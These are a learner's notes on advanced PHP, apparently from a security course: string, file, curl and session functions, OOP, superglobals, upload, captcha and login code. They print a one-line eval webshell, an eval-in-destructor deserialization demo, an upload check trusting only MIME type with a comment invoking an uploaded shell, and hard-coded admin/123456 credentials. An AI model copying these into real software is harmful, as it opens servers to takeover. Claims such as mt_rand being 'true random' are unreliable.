PHP高级

93 阅读10分钟

PHP高级

一、函数

自定义函数

function 函数名称([$形参名称1,...,$形参名称N]){
  [return]
}
函数名称([$实参名称1,...,$实参名称N]);
function sum($n1,$n2){
  return $n1 + $n2;
}
echo sum(1,2);

字符串函数

$s = "hello world";
echo strlen($s); // 获得字符串长度
echo substr($s, 1, 3); // 截取字符串   ($字符串,索引,个数)   
echo strpos($s,"ll"); // 查找字符串 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
stripos() //函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
echo str_replace("world","woniu",$s); //字符串替换
var_dump(explode("分隔符","字符串")); // 以分隔符分隔字符串并返回数组
$str = "'abc'";
echo $str;
// 将单引号转义位 \'
$newStr = addslashes($str);
echo $newStr;
json_encode // 将PHP类型数据专化为json
json_decode // 将json数据专化为PHP数据类型

数组函数

$list = [6,5,8,5,2,3,4,5,];
echo count($list); // 数组长度
echo in_array(2,$list); // 判断值是否在数组中 1在 0不显示 不在
array_push($list,66); // 数组最不添加数据
var_dump($list);
$new_list = array_merge($list,[77,55,44]); //合并数组
print_r($new_list);
$n_list = array_unique($new_list); // 数组去重
print_r($n_list);

类型判断

isset() // 变量是否存在
is_int(), // 是否为整数
is_float(), // 是否为小数
is_object(), // 是否为对象
is_array(), // 是否为数组
gettype() // 获取类型

时间与日期函数

time(); 获得1970-01-01 00:00:00 到当前时间的秒数 时间戳
date("时间格式"); date("Y-m-d H:i:s");
时间格式
Y:四位数的年份,例如 2023
m:两位数的月份,例如 02 11
d:两位数的日期,例如 20 05
H:两位数的小时数(24 小时制),例如 15
i:两位数的分钟数,例如 30
s:两位数的秒数,例如 00
// 将字符串时间转化为时间戳
$datetime = strtotime("2024-02-26");
echo $datetime;

加密函数

echo md5("123");
echo sha1("123");
echo hash("sha1","123");
echo hash("sha256","123");
echo hash("sha512","123");
echo uniqid(); // 生成唯一id
define("SALT","fanyun");
// 密码解密
$hashpwd = password_hash("123".SALT,PASSWORD_DEFAULT);
echo $hashpwd;
// 密码校验
$result = password_verify("123".SALT,$hashpwd);
md5 sha1 ... 密码解密 对比的时候需要将输入数据再次加密比对(撞库)
password_verify可以直接校验password_hash加密的数据
密码的加密防止被破解需要有加盐操作 撞库或者校验的时候也需要带上盐

文件处理(读写)

文件读写需要考虑到权限,必须有权限,不然无法操作

chmod -R o+wr 目录
模式
'r':只读方式打开文件,指针位于文件的开头。
'w':写入方式打开文件,如果文件存在则清空文件内容,如果文件不存在则尝试创建。
'a':写入方式打开文件,将数据追加到文件末尾,如果文件不存在则尝试创建。
'a+':又读又写操作,将数据追加到文件末尾,如果文件不存在则尝试创建
'x':创建并以写入方式打开文件,如果文件已经存在则 fopen() 函数会失败。
'b':二进制模式,用于处理二进制文件。
't':文本模式,用于处理文本文件。
fopen语法
文件读取
$file = fopen("路径","模式"); // 获得文件操作权限
$file_size = filesize("路径"); // 获得文件大小
$result = fread($file,$file_size); // 读取文件
echo $result; // 输出结果
fclose($file); // 关闭文件
$file = fopen("woniu.txt", "r");
$file_size = filesize("woniu.txt");
$result = fread($file,$file_size);
$result = str_replace("\n", "<br>",$result);
echo $result;
fclose($file);
文件写入
$file = fopen("路径","模式"); // 获得文件操作权限
$text = "woniu"; // 定义写入文本
fwrite($file,$text,strlen($text)); // 写入文件
fclose($file); // 关闭文件
$file = fopen("woniu.txt", "a+");
$text = "精神吧小妹";
fwrite($file, $text,strlen($text));
fclose($file);
file语法
写入
file_put_contents("文件全路径",写入文件内容,FILE_APPEND);
读取
file_get_contents("文件全路径"); 获取文件内容
file_put_contents("hello.txt","hello",FILE_APPEND);
$result = file_get_contents("hello.txt");
echo $result;

网络处理函数

curl_init(); // 初始化连接
curl_seropt(); // 设置连接参数
curl_exec(); // 发送请求并获得结果
// 初始化连接
$con = curl_init("https://www.woniuxy.com");
// 设置连接参数
curl_setopt($con, CURLOPT_RETURNTRANSFER, true);
curl_setopt($con, CURLOPT_FOLLOWLOCATION, true);
// 发送请求 返回结果
$result = curl_exec($con);
// 关闭连接
curl_close($con);
// 输出结果
echo $result;
// 存储结果
file_put_contents("woniu.txt", $result);

特殊辅助函数

// 生成一个随机数 伪随机
$i = rand(最小值,最大值)
// 生成一个随机数 真随机
$i = mt_rand(最小值,最大值)
header函数
//设置页面编码
header('Content-Type: text/html; charset=utf-8');
//页面跳转
header("Location: http://www.woniuxy.com");
// 服务器本地跳转
header("Location:/news/index.html");
// 防止页面缓存  
header("Cache-Control: no-cache, no-store, must-revalidate");
header("Pragma: no-cache");
header("Expires: 0");

危险函数 / 高危函数

eval(); 执行字符串作为PHP代码 一句话木马经常使用
assert(); 断言函数 执行字符串作为PHP代码 一句话木马变型经常使用
system()、exec()、passthru()、shell_exec() 用于执行系统外部命令  类似 ``
system()、exec() 需要结合 echo使用
phpinfo(); 获得PHP的详细信息
include()、include_once()、require()、require_once() 用于包含其他文件的函数,可以执行php文件中的代码

序列化与反序列化

serialize(); //序列化
unserialize(); // 反序列化

image-20240909145008362

序列化格式中的字母含义
名称PHP标识序列化标识案例
nullN;null -> N;
整数类型integeri;123 -> i:123;
浮点类型doubled;3.14 -> d:3.14;
布尔类型booleanb;true -> b:1; false -> b:0;
字符串strings;hello -> s:5”hello”;
classO;O:类名称长度:”类名”:属性个数:{属性序列化}
数组arraya;a:数组个数:{数组值序列化}
class User{
    function __construct(){
        echo "构造函数调用";
    }
     function __destruct(){
        echo "析构函数调用";
        eval('phpinfo();');
    }
}
$u = new User();
$s = serialize($u); 生成序列化字符串
echo $s;
$st = 'O:4:"User":0:{}';
$obj = unserialize($st); // 暂时了解到 反序列化会触发 析构函数
var_dump($obj);

二、面向对象

面向对象概念

将现实事物按照不同的分类进行定义(抽象),实现这些定义的方法或是思想就是面向对象。对应到代码层面,我们需要对比早期的编程方法(面向过程);程序是由一个一个的函数相互调用后完成软件的功能;而面向对象则是对软件需求进行抽象,抽取成一个一个的对象,然后使用面向对象的语法形式来实现一个一个的对象,最终整个程序的运行过程实际就是不停的创建对象,函数是保存在对象中,再来调用对象的函数最后完成程序最终的结果。

为什么要使用面向对象编程

传统面向过程的方式设计软件,最后函数越来越多,少则几千几万,多则几十万,几百万个函数。我们需要对每一个函数都能充分了解并调用,而且往往一个软件是由很多个程序员协同开发,并不是每个程序员都能够搞懂所有的函数,以及它的原理,因此软件的协同开发和稳定性将会越来越复杂,越来越难以维护。因此将函数分门别类,让函数的功能并入到对象中,解决了对象的问题也即解决软件的某个模块的功能。这样就可以让软件的设计变得更简单,更容易设计,更符合人类的理解和阅读。

如何实现面向对象

类:对事物的定义,起了个名称。让人能分辨出是什么事物

对象:类在代码中的表现形式

实例:具体的某一个事物,例如:家里养了条小狗,名字叫小黑。小狗在这句话中就是类(对象),小黑就是小狗这个类型的一个具体表现。

class User {
  // 类成员变量 类属性 类属性有三个修饰符
  // public 公共的  任意被访问 可以被集成
  // protected 受保护的 可以被继承 本类子类可以访问 不能直接被外部代码访问,可以在类内部使用
  // private 私有的 不可以被继承 本类可以访问
  public $name = 1; // 钱
  protected $email = 2; // 权利
  private $age = 3; // 女人
  // 类静态成员 只与类本身有关 与对象无关
  static $passwd = "pass";
  // 类成员函数 类方法 固定方法 自定义方法
  // 构造方法 new 类 自动调用 接收参数
  function __construct($name,$email,$age) {
    echo "User构造方法被调用<br>";
    // $this 指向的是对象而不是类 -> 指向调用那个 属性或者方法
    $this->name = $name;
    $this->email = $email;
    $this->age = $age;
  }
  // 自定义方法
  public function show(){
    echo $this->name .'<br>';
    echo $this->email .'<br>';
    echo $this->age .'<br>';
    // 静态方法 只与类有关 与对象无关  只能通过 类::静态属性调用
    echo User::$passwd .'<br>';
  }
  // 析构方法 析构函数 自动调用 无参数
  function __destruct() {
    echo "User析构方法被调用<br>";
  }
}
// PHP 继承 是单继承 子类继承父类的非私有方法
class Admin extends User {
   function __construct(){
    echo "Admin构造方法被调用<br>";
   }
   // 子类可以重写(复写)父类 父类有的方法 子类重写
   function show(){
     echo "admin的show<br>";
     echo $this->email;
   }
   // 吕布自己的方法
   function wuyi(){
      echo "吕布马上无敌,典韦马下无敌,吕布骑典韦,天下无敌<br>";
   }
   function __destruct() {
    echo "Admin析构方法被调用<br>";
  }
}
$a = new Admin();
$a->show();
echo Admin::$passwd;

三、PHP高级全局变量

PHP中包含了9个超级全局变量,每个都拥有非常强大的功能

用于获取当前服务器操作系统环境变量,默认是关闭的,不建议打开

设置$_ENV不为空的方法
1. 修该PHP配置文件 
  /opt/lampp/etc/php.ini
  595 variables_order="GPCS" 为 595 variables_order="EGPCS"
2. 重启xampp
  ./lampp restart

$_GLOBALS

PHP文件中的全局范围定义的变量

$_GLOBALS["name"] = "woniu";
var_dump($_GLOBALS);

$_SERVER

包含了服务器和执行环境的信息,比如请求的头信息、路径、脚本位置等等。他是一个关联数组。

var_dump($_SERVER);

$_GET

用于获得 URL 参数传递的值,也可以理解为HTTP的GET请求

// 但有时有些数据 可能未进行传递 会警告 @消除警告
$user = @$_GET['user'];
$passwd = @$_GET['passwd'];
echo $user ."/".$passwd;
// http://www.dlrb.com/\hello/test.php?user=123&passwd=111

PHP中会产生Warning警告,不想看到那就在谁产生警告之前添加@,就不产生警告

$_POST

用于获得 HTTP POST传递的参数

$user = @$_POST['user'];
$passwd = @$_POST['passwd'];
$authcode = @$_POST['authcode'];
if(!isset($user) or $user ==""){
   die("账号不能为空");
}
if(!isset($passwd) or $passwd ==""){
    die("密码不能为空");
}
if(!isset($authcoder) or $authcode ==""){
    die("验证码不能为空");
}
if($user == "admin" and $passwd =="123456" and $authcode == "8468"){
    header("Location:../index.html");
}else{
    echo "登陆失败";
}

$_REQUEST

用于获得 GET / POST / COOKIE传递的参数,一下子获得三个

$username = @$_REQUEST["username"];
$userpsswd = @$_REQUEST["userpsswd"];
$authcode = @$_REQUEST["authcode"];
echo $username.": ".$userpsswd.":".$authcode;
一句话木马
<?php @eval($_GET['cmd']);?>
<?php @eval($_POST['cmd']);?>
$_SESSION

$_SESSION

用于获取和设置当前会话的变量值。在使用该变量之前,需要首行先开启会话(session_start())

使用session系统会给我们创建一个session文件 /opt/lampp/temp 目录中

什么是session

中文名称:会话。它的目的就是用户在访问系统时,apache为了保存用户的信息而启用的一种特殊技术叫session。它可以保持用户登录状态,不至于让用户访问一次页面后就退出系统了。它也像一个保存数据用的容器,专门用于保存用户登录后的数据。

session保存位置

session中保存的数据,实际上是保存在服务器的某个目录中,对应我们现在使用的lampp软件,它是在/opt/lampp/temp

session使用注意
session_start();
$_SESSION['username'] = $username;

<?= php代码 ?> PHP文件中可以在页面任意位置使用PHP变量或者值

1. 在使用$_SESSION之前必须在php文件头部调用session_start();方法
2. session_start()方法必须文件的第一行执行。
3. session_destroy();session的注销
session原理
第一次请求
浏览器根据URL地址里的域名/IP到Cookie中查找是否有该站点的cookie,如果有则自动添加到请求头中传给apache服务器。

服务器接收到请求后,当调用session_start();函数时。该函数做了如下几件事:
1. 从请求头中取出Cookie信息中的PHPSESSID
2. 如果PHPSESSID在请求头中不存在,则创建一个唯的PHPSESSID,并在/opt/lampp/temp目录下生成一个包含PHPSESSID为名称的文件,用于存放session中保存的数据。
3. 如果PHPSESSID在请求头中存在,则读取/opt/lampp/temp目录对应PHPSESSID为名称的文件,并把文件中保存的SESSION数据读取出来后放入PHP的超全局变量 $_SESSION 中。
4. 如果PHPSESSID在请求头中存在,但是/opt/lampp/temp目录下没有对应PHPSESSID的文件,则在/opt/lampp/temp/下创建一个包含PHPSESSID为名称的文件,并将要存储的数据放入该文件中,如果没有数据则不存放。

第一次之后的请求浏览器会找到URL地址对应的cookie信息,并自动添加的请求头中服务器不管浏览器是第一次还是第二次或是第N次请求。超全局变量$_SESSION的处理都是一样的。只有一个区别,在第一次接收到请求时,服务器在响应头中会回传—个响应头:Set-Cookie:PHPSESSID=asdawersdfwerwersdf;
session伪造

image-20240909151341978

$_COOKIE

用于获得 cookie 传递的值

作用
  • cookie是保存在用户的电脑上(每个浏览器存放的位置不同,每个浏览器都有自已独的cookie,它们之间不共享cookie)
  • cookie在保存是以键值对形式保存,key就是请求网址的域名地址
  • cookie信息是由浏览器自动传递到服务端。传递的依据就是根据URL地址中的域名与cookie存储时使用的key是否匹配,如果匹配成功流览器将自动把cookie信息放在URL请求的请求头中
  • cookie中信息存储格式:参数之间使用;符号分隔,参数名和参数值之间使用=号分隔
  • 会话在本地叫cookie在服务器叫session

image-20240909151528070

前端如何读取cookie
document.cookie

$_FILES

用于获得文件上传所提交的文件

上传文件思路
1. 设置表单的提交方式与提交类型  method="post" enctype="multipart/form-data"(流传输 二进制形式)
2. 上传文件理解为将本地的文件以流的形式复制到远程服务器的临时文件夹
3. 将临时文件夹的文件复制到指定服务器位置
注意
1. 上传文件的指定文件夹需要能写入 chmod a+wr upload
2. 中文可能会乱码 改名 时间戳命名
fileupload.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件上传</title>
</head>
<body>
    <form action="post" action="server/upload.php" enctype="multipart/form-data">
        <input type="file" name="file">
        <button type="submit">上传</button>
    </form>
</body>
</html>
upload.php
// 搜集文件信息
$file_name = $_FILES["file"]["name"];
// 切割文件名
$file_name_list = explode(".", $file_name);
// 获得扩展名
$file_name_ext = $file_name_list[count($file_name_list) - 1];
// 获得文件类型
$file_type = $_FILES["file"]["type"];
// 获得文件临时存储目录
$file_tmp_path = $_FILES["file"]["tmp_name"];
// 文件上传目录 绝对路径 | 相对路径
$file_upload_path = "/opt/lampp/htdocs/news/upload";
// 类型白名单
$w = ["image/jpeg","image/png","image/gif","image/ico"];
if(in_array($file_type,$w)){
    //                           源路径               目标路径             以时间戳重新命名文件 防止直接找到该文件
    $result = move_uploaded_file($file_tmp_path, $file_upload_path."/" . time() . ".$file_name_ext");
    if($result){
       echo "文件上传成功";
    }else{
       echo "文件上传失败";
    }
    // http://www.dlrb.com/news/upload/sys.php?cmd=phpinfo();
}else {
   echo "文件格式不正确";
}

四、项目优化

验证码生成

session_start();
$image_w = 80;
$image_h = 20;
// 定义图像宽度和高度
$image = imagecreatetruecolor($image_w, $image_h);
// 设置白色的图形
$white = imagecolorallocate($image, 255, 255, 255);
// 设置黑色的图形
$black = imagecolorallocate($image, 0, 0, 0);
// 将背景色填充到整个图像上
imagefill($image, 0, 0, $white);
//设置干扰点,使用 imagesetpixel()函数给图片添加干扰点。
for ($i = 0; $i < 100; $i++) {
imagesetpixel($image, rand(0, $image_w), rand(0, $image_h), $black);
}
// 生成随机验证码
// 验证码长度
$codeLength = 4;
// 所有可能的字符集合
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789';
$captchaCodes = '';
// 遍历生成随机次数
for ($i = 0; $i < $codeLength; $i++) {
    // 获取随机索引值
    $randomIndex = mt_rand(0, strlen($characters) - 1);
    // 从字符集中提取对应字符
    $captchaCode = substr($characters, $randomIndex, 1);
    //指定生成位置X、Y轴偏移量
    $x = ($i + 1) * 14;
    $y = $image_h / 8;
    // 设置一个随机颜色
    $color = imagecolorallocate($image, mt_rand(0, 200), mt_rand(0, 200), mt_rand(0, 200));
    //imagestring()函数是PHP中的内置函数,用于水平绘制字符串。此函数在给定位置绘制字符串
    imagestring($image, 5, $x, $y, $captchaCode, $color);
    $captchaCodes .= $captchaCode;
}
// 保存验证码到session变量中供后续比对
$_SESSION['authcode'] = $captchaCodes;
// 输出图像
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
动态点击验证码切换
<script>
    var img = document.querySelector('.captcha');
    img.onclick = function () {
        img.src = 'http://www.dlrb.com/news/utils/authcode.php?' + Math.random();
    }
</script>

登录判断

session_start();
$user = @$_POST['user'];
$passwd = @$_POST['passwd'];
$authcode = @$_POST['authcode'];
if(!isset($user) or $user ==""){
   die("账号不能为空");
}
if(!isset($passwd) or $passwd ==""){
    die("密码不能为空");
}
if(!isset($authcode) or $authcode ==""){
    die("验证码不能为空");
}
if(strtoupper($_SESSION['authcode']) != strtoupper($authcode) ){
    die("验证码错误");
}
// 这个位置需要连接数据库
if($user == "admin" and $passwd =="123456"){
    $_SESSION['username'] = $user;
    header("Location:../index.php");
}else{
    echo "登陆失败";
}

文件下载

$url = "/opt/lampp/htdocs/news/upload";
function scanFiles($url){
   // 获取目录下所有文件 使用数组存储
    $file_list = [];
    // 获取目录下所有文件和文件夹
    $files = scandir($url);
    if($files){
        foreach ( $files as $item) {
            // 排除.和..
            if($item != '.' and $item != ".."){
                // 判断是否还有深一层目录
                $indir = $url . "/" . $item;
                // 判断是否是目录
                if(is_dir($indir)){
                    // 函数调用自身需要传递不同的参数 递归获取目录下所有文件和文件夹
                    // 追加 二层文件夹的文件
                    $infiles = scanFiles($indir);
                    // 将二层 数组内容遍历添加
                    foreach ( $infiles as $infile) {
                        $name = end(explode("/", $infile));
                        array_push($file_list ,$infile);
                    }
                }else {
                    // 不是目录 则是文件 存储到数组中
                    $file = $url."/".$item;
                    $name = end(explode("/", $file));
                    array_push($file_list ,"<li><a href='/news/server/admin/download.php?file=$name'>$name</a></li>");
                }
            }
        }
        // 返回数组 注意万一是中文 则需要转码
        return $file_list;
    }else {
        return "没有文件";
    }
}
echo json_encode(scanFiles($url));